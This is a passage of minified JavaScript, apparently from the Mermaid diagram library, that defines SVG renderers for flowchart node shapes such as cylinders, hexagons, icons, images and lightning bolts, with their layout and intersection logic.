g=u,y=h,v=g-f,x=y/4,b=[{x:v,y:0},{x,y:0},{x:0,y:y/2},{x,y},{x:v,y},...Kd(-v,-y/2,f,50,270,90)],T=Vt(b),S=p.path(T,m),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",n),w.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var IJ=N(()=>{"use strict";It();Ut();$t();Ht();o(MJ,"curvedTrapezoid")});async function OJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+e.padding,e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+e.padding,e.height??0),d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=hRe(0,0,l,f,u,h),y=fRe(0,h,l,f,u,h),v=m.path(g,Je(e,{})),x=m.path(y,Je(e,{fill:"none"}));d=i.insert(()=>x,":first-child"),d=i.insert(()=>v,":first-child"),d.attr("class","basic label-container"),p&&d.attr("style",p)}else{let m=uRe(0,0,l,f,u,h);d=i.insert("path",":first-child").attr("d",m).attr("class","basic label-container").attr("style",Cn(p)).attr("style",n)}return d.attr("label-offset-y",h),d.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,d),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+(e.padding??0)/1.5-(a.y-(a.top??0))})`),e.intersect=function(m){let g=Xe.rect(e,m),y=g.x-(e.x??0);if(u!=0&&(Math.abs(y)<(e.width??0)/2||Math.abs(y)==(e.width??0)/2&&Math.abs(g.y-(e.y??0))>(e.height??0)/2-h)){let v=h*h*(1-y*y/(u*u));v>0&&(v=Math.sqrt(v)),v=h-v,m.y-(e.y??0)>0&&(v=-v),g.y+=v}return g},i}var uRe,hRe,fRe,PJ=N(()=>{"use strict";It();Ut();$t();Ht();tr();uRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createCylinderPathD"),hRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createOuterCylinderPathD"),fRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(OJ,"cylinder")});async function BJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+e.padding,u=a.height+e.padding,h=u*.2,f=-l/2,d=-u/2-h/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d+h},{x:-f,y:d+h},{x:-f,y:-d},{x:f,y:-d},{x:f,y:d},{x:-f,y:d},{x:-f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${f+(e.padding??0)/2-(a.x-(a.left??0))}, ${d+h+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var FJ=N(()=>{"use strict";It();Ut();$t();Ht();o(BJ,"dividedRectangle")});async function $J(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s}=await ut(t,e,st(e)),u=a.width/2+s+5,h=a.width/2+s,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{roughness:.2,strokeWidth:2.5}),g=Je(e,{roughness:.2,strokeWidth:1.5}),y=p.circle(0,0,u*2,m),v=p.circle(0,0,h*2,g);f=i.insert("g",":first-child"),f.attr("class",Cn(e.cssClasses)).attr("style",Cn(d)),f.node()?.appendChild(y),f.node()?.appendChild(v)}else{f=i.insert("g",":first-child");let p=f.insert("circle",":first-child"),m=f.insert("circle");f.attr("class","basic label-container").attr("style",n),p.attr("class","outer-circle").attr("style",n).attr("r",u).attr("cx",0).attr("cy",0),m.attr("class","inner-circle").attr("style",n).attr("r",h).attr("cx",0).attr("cy",0)}return Qe(e,f),e.intersect=function(p){return X.info("DoubleCircle intersect",e,u,p),Xe.circle(e,u,p)},i}var zJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o($J,"doublecircle")});function GJ(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.label="",e.labelStyle=n;let a=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),s=7,{cssStyles:l}=e,u=Ze.svg(a),{nodeBorder:h}=r,f=Je(e,{fillStyle:"solid"});e.look!=="handDrawn"&&(f.roughness=0);let d=u.circle(0,0,s*2,f),p=a.insert(()=>d,":first-child");return p.selectAll("path").attr("style",`fill: ${h} !important;`),l&&l.length>0&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",l),i&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",i),Qe(e,p),e.intersect=function(m){return X.info("filledCircle intersect",e,{radius:s,point:m}),Xe.circle(e,s,m)},a}var VJ=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(GJ,"filledCircle")});async function UJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+(e.padding??0),u=l+a.height,h=l+a.height,f=[{x:0,y:-u},{x:h,y:-u},{x:h/2,y:0}],{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(f),y=p.path(g,m),v=i.insert(()=>y,":first-child").attr("transform",`translate(${-u/2}, ${u/2})`);return d&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),e.width=l,e.height=u,Qe(e,v),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${-u/2+(e.padding??0)/2+(a.y-(a.top??0))})`),e.intersect=function(x){return X.info("Triangle intersect",e,f,x),Xe.polygon(e,f,x)},i}var HJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();o(UJ,"flippedTriangle")});function qJ(t,e,{dir:r,config:{state:n,themeVariables:i}}){let{nodeStyles:a}=je(e);e.label="";let s=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:l}=e,u=Math.max(70,e?.width??0),h=Math.max(10,e?.height??0);r==="LR"&&(u=Math.max(10,e?.width??0),h=Math.max(70,e?.height??0));let f=-1*u/2,d=-1*h/2,p=Ze.svg(s),m=Je(e,{stroke:i.lineColor,fill:i.lineColor});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=p.rectangle(f,d,u,h,m),y=s.insert(()=>g,":first-child");l&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",l),a&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",a),Qe(e,y);let v=n?.padding??0;return e.width&&e.height&&(e.width+=v/2||0,e.height+=v/2||0),e.intersect=function(x){return Xe.rect(e,x)},s}var WJ=N(()=>{"use strict";Ht();Ut();$t();It();o(qJ,"forkJoin")});async function YJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=80,a=50,{shapeSvg:s,bbox:l}=await ut(t,e,st(e)),u=Math.max(i,l.width+(e.padding??0)*2,e?.width??0),h=Math.max(a,l.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(s),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-u/2,y:-h/2},{x:u/2-f,y:-h/2},...Kd(-u/2+f,0,f,50,90,270),{x:u/2-f,y:h/2},{x:-u/2,y:h/2}],y=Vt(g),v=p.path(y,m),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),Qe(e,x),e.intersect=function(b){return X.info("Pill intersect",e,{radius:f,point:b}),Xe.polygon(e,g,b)},s}var XJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(YJ,"halfRoundedRectangle")});async function jJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+(e.padding??0),l=a.width+(e.padding??0)*2.5,{cssStyles:u}=e,h=Ze.svg(i),f=Je(e,{});e.look!=="handDrawn"&&(f.roughness=0,f.fillStyle="solid");let d=l/2,p=d/6;d=d+p;let m=s/2,g=m/2,y=d-g,v=[{x:-y,y:-m},{x:0,y:-m},{x:y,y:-m},{x:d,y:0},{x:y,y:m},{x:0,y:m},{x:-y,y:m},{x:-d,y:0}],x=Vt(v),b=h.path(x,f),T=i.insert(()=>b,":first-child");return T.attr("class","basic label-container"),u&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",u),n&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",n),e.width=l,e.height=s,Qe(e,T),e.intersect=function(S){return Xe.polygon(e,v,S)},i}var KJ=N(()=>{"use strict";It();Ut();$t();Ht();o(jJ,"hexagon")});async function QJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let{shapeSvg:i}=await ut(t,e,st(e)),a=Math.max(30,e?.width??0),s=Math.max(30,e?.height??0),{cssStyles:l}=e,u=Ze.svg(i),h=Je(e,{});e.look!=="handDrawn"&&(h.roughness=0,h.fillStyle="solid");let f=[{x:0,y:0},{x:a,y:0},{x:0,y:s},{x:a,y:s}],d=Vt(f),p=u.path(d,h),m=i.insert(()=>p,":first-child");return m.attr("class","basic label-container"),l&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",l),n&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",n),m.attr("transform",`translate(${-a/2}, ${-s/2})`),Qe(e,m),e.intersect=function(g){return X.info("Pill intersect",e,{points:f}),Xe.polygon(e,f,g)},i}var ZJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(QJ,"hourglass")});async function JJ(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await ut(t,e,"icon-shape default"),p=e.pos==="t",m=l,g=l,{nodeBorder:y}=r,{stylesMap:v}=wc(e),x=-g/2,b=-m/2,T=e.label?8:0,S=Ze.svg(h),w=Je(e,{stroke:"none",fill:"none"});e.look!=="handDrawn"&&(w.roughness=0,w.fillStyle="solid");let k=S.rectangle(x,b,g,m,w),A=Math.max(g,f.width),C=m+f.height+T,R=S.rectangle(-A/2,-C/2,A,C,{...w,fill:"transparent",stroke:"none"}),I=h.insert(()=>k,":first-child"),L=h.insert(()=>R);if(e.icon){let E=h.append("g");E.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let D=E.node().getBBox(),_=D.width,O=D.height,M=D.x,P=D.y;E.attr("transform",`translate(${-_/2-M},${p?f.height/2+T/2-O/2-P:-f.height/2-T/2-O/2-P})`),E.attr("style",`color: ${v.get("stroke")??y};`)}return d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${p?-C/2:C/2-f.height})`),I.attr("transform",`translate(0,${p?f.height/2+T/2:-f.height/2-T/2})`),Qe(e,L),e.intersect=function(E){if(X.info("iconSquare intersect",e,E),!e.label)return Xe.rect(e,E);let D=e.x??0,_=e.y??0,O=e.height??0,M=[];return p?M=[{x:D-f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2+f.height+T},{x:D+g/2,y:_-O/2+f.height+T},{x:D+g/2,y:_+O/2},{x:D-g/2,y:_+O/2},{x:D-g/2,y:_-O/2+f.height+T},{x:D-f.width/2,y:_-O/2+f.height+T}]:M=[{x:D-g/2,y:_-O/2},{x:D+g/2,y:_-O/2},{x:D+g/2,y:_-O/2+m},{x:D+f.width/2,y:_-O/2+m},{x:D+f.width/2/2,y:_+O/2},{x:D-f.width/2,y:_+O/2},{x:D-f.width/2,y:_-O/2+m},{x:D-g/2,y:_-O/2+m}],Xe.polygon(e,M,E)},h}var eee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(JJ,"icon")});async function tee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await ut(t,e,"icon-shape default"),p=20,m=e.label?8:0,g=e.pos==="t",{nodeBorder:y,mainBkg:v}=r,{stylesMap:x}=wc(e),b=Ze.svg(h),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=x.get("fill");T.stroke=S??v;let w=h.append("g");e.icon&&w.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let k=w.node().getBBox(),A=k.width,C=k.height,R=k.x,I=k.y,L=Math.max(A,C)*Math.SQRT2+p*2,E=b.circle(0,0,L,T),D=Math.max(L,f.width),_=L+f.height+m,O=b.rectangle(-D/2,-_/2,D,_,{...T,fill:"transparent",stroke:"none"}),M=h.insert(()=>E,":first-child"),P=h.insert(()=>O);return w.attr("transform",`translate(${-A/2-R},${g?f.height/2+m/2-C/2-I:-f.height/2-m/2-C/2-I})`),w.attr("style",`color: ${x.get("stroke")??y};`),d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${g?-_/2:_/2-f.height})`),M.attr("transform",`translate(0,${g?f.height/2+m/2:-f.height/2-m/2})`),Qe(e,P),e.intersect=function(B){return X.info("iconSquare intersect",e,B),Xe.rect(e,B)},h}var ree=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(tee,"iconCircle")});var Fs,Zd=N(()=>{"use strict";Fs=o((t,e,r,n,i)=>["M",t+i,e,"H",t+r-i,"A",i,i,0,0,1,t+r,e+i,"V",e+n-i,"A",i,i,0,0,1,t+r-i,e+n,"H",t+i,"A",i,i,0,0,1,t,e+n-i,"V",e+i,"A",i,i,0,0,1,t+i,e,"Z"].join(" "),"createRoundedRectPathD")});async function nee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,5),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child").attr("class","icon-shape2"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var iee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();Zd();It();o(nee,"iconRounded")});async function aee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,.1),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var see=N(()=>{"use strict";Ht();pt();nc();Ut();Zd();$t();It();o(aee,"iconSquare")});async function oee(t,e,{config:{flowchart:r}}){let n=new Image;n.src=e?.img??"",await n.decode();let i=Number(n.naturalWidth.toString().replace("px","")),a=Number(n.naturalHeight.toString().replace("px",""));e.imageAspectRatio=i/a;let{labelStyles:s}=je(e);e.labelStyle=s;let l=r?.wrappingWidth;e.defaultWidth=r?.wrappingWidth;let u=Math.max(e.label?l??0:0,e?.assetWidth??i),h=e.constraint==="on"&&e?.assetHeight?e.assetHeight*e.imageAspectRatio:u,f=e.constraint==="on"?h/e.imageAspectRatio:e?.assetHeight??a;e.width=Math.max(h,l??0);let{shapeSvg:d,bbox:p,label:m}=await ut(t,e,"image-shape default"),g=e.pos==="t",y=-h/2,v=-f/2,x=e.label?8:0,b=Ze.svg(d),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=b.rectangle(y,v,h,f,T),w=Math.max(h,p.width),k=f+p.height+x,A=b.rectangle(-w/2,-k/2,w,k,{...T,fill:"none",stroke:"none"}),C=d.insert(()=>S,":first-child"),R=d.insert(()=>A);if(e.img){let I=d.append("image");I.attr("href",e.img),I.attr("width",h),I.attr("height",f),I.attr("preserveAspectRatio","none"),I.attr("transform",`translate(${-h/2},${g?k/2-f:-k/2})`)}return m.attr("transform",`translate(${-p.width/2-(p.x-(p.left??0))},${g?-f/2-p.height/2-x/2:f/2-p.height/2+x/2})`),C.attr("transform",`translate(0,${g?p.height/2+x/2:-p.height/2-x/2})`),Qe(e,R),e.intersect=function(I){if(X.info("iconSquare intersect",e,I),!e.label)return Xe.rect(e,I);let L=e.x??0,E=e.y??0,D=e.height??0,_=[];return g?_=[{x:L-p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2+p.height+x},{x:L+h/2,y:E-D/2+p.height+x},{x:L+h/2,y:E+D/2},{x:L-h/2,y:E+D/2},{x:L-h/2,y:E-D/2+p.height+x},{x:L-p.width/2,y:E-D/2+p.height+x}]:_=[{x:L-h/2,y:E-D/2},{x:L+h/2,y:E-D/2},{x:L+h/2,y:E-D/2+f},{x:L+p.width/2,y:E-D/2+f},{x:L+p.width/2/2,y:E+D/2},{x:L-p.width/2,y:E+D/2},{x:L-p.width/2,y:E-D/2+f},{x:L-h/2,y:E-D/2+f}],Xe.polygon(e,_,I)},d}var lee=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(oee,"imageSquare")});async function cee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=[{x:0,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:-3*l/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var uee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(cee,"inv_trapezoid")});async function Jd(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s}=await ut(t,e,st(e)),l=Math.max(s.width+r.labelPaddingX*2,e?.width||0),u=Math.max(s.height+r.labelPaddingY*2,e?.height||0),h=-l/2,f=-u/2,d,{rx:p,ry:m}=e,{cssStyles:g}=e;if(r?.rx&&r.ry&&(p=r.rx,m=r.ry),e.look==="handDrawn"){let y=Ze.svg(a),v=Je(e,{}),x=p||m?y.path(Fs(h,f,l,u,p||0),v):y.rectangle(h,f,l,u,v);d=a.insert(()=>x,":first-child"),d.attr("class","basic label-container").attr("style",Cn(g))}else d=a.insert("rect",":first-child"),d.attr("class","basic label-container").attr("style",i).attr("rx",Cn(p)).attr("ry",Cn(m)).attr("x",h).attr("y",f).attr("width",l).attr("height",u);return Qe(e,d),e.calcIntersect=function(y,v){return Xe.rect(y,v)},e.intersect=function(y){return Xe.rect(e,y)},a}var M2=N(()=>{"use strict";It();Ut();Zd();$t();Ht();tr();o(Jd,"drawRect")});async function hee(t,e){let{shapeSvg:r,bbox:n,label:i}=await ut(t,e,"label"),a=r.insert("rect",":first-child");return a.attr("width",.1).attr("height",.1),r.attr("class","label edgeLabel"),i.attr("transform",`translate(${-(n.width/2)-(n.x-(n.left??0))}, ${-(n.height/2)-(n.y-(n.top??0))})`),Qe(e,a),e.intersect=function(u){return Xe.rect(e,u)},r}var fee=N(()=>{"use strict";M2();It();Ut();o(hee,"labelRect")});async function dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:0,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:-(3*l)/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var pee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(dee,"lean_left")});async function mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:-3*l/6,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var gee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(mee,"lean_right")});function yee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:a}=e,s=Math.max(35,e?.width??0),l=Math.max(35,e?.height??0),u=7,h=[{x:s,y:0},{x:0,y:l+u/2},{x:s-2*u,y:l+u/2},{x:0,y:2*l},{x:s,y:l-u/2},{x:2*u,y:l-u/2}],f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=Vt(h),m=f.path(p,d),g=i.insert(()=>m,":first-child");return a&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",a),n&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",n),g.attr("transform",`translate(-${s/2},${-l})`),Qe(e,g),e.intersect=function(y){return X.info("lightningBolt intersect",e,y),Xe.polygon(e,h,y)},i}var vee=N(()=>{"use strict";pt();It();$t();Ht();Ut();It();o(yee,"lightningBolt")});async function xee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+(e.padding??0),e.height??0),d=f*.1,p,{cssStyles:m}=e;if(e.look==="handDrawn"){let g=Ze.svg(i),y=pRe(0,0,l,f,u,h,d),v=mRe(0,h,l,f,u,h),x=Je(e,{}),b=g.path(y,x),T=g.path(v,x);i.insert(()=>T,":first-child").attr("class","line"),p=i.insert(()=>b,":first-child"),p.attr("class","basic label-container"),m&&p.attr("style",m)}else{let g=dRe(0,0,l,f,u,h,d);p=i.insert("path",":first-child").attr("d",g).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n)}return p.attr("label-offset-y",h),p.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,p),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),e.intersect=function(g){let y=Xe.rect(e,g),v=y.x-(e.x??0);if(u!=0&&(Math.abs(v)<(e.width??0)/2||Math.abs(v)==(e.width??0)/2&&Math.abs(y.y-(e.y??0))>(e.height??0)/2-h)){let x=h*h*(1-v*v/(u*u));x>0&&(x=Math.sqrt(x)),x=h-x,g.y-(e.y??0)>0&&(x=-x),y.y+=x}return y},i}var dRe,pRe,mRe,bee=N(()=>{"use strict";It();Ut();$t();Ht();tr();dRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createCylinderPathD"),pRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createOuterCylinderPathD"),mRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(xee,"linedCylinder")});async function 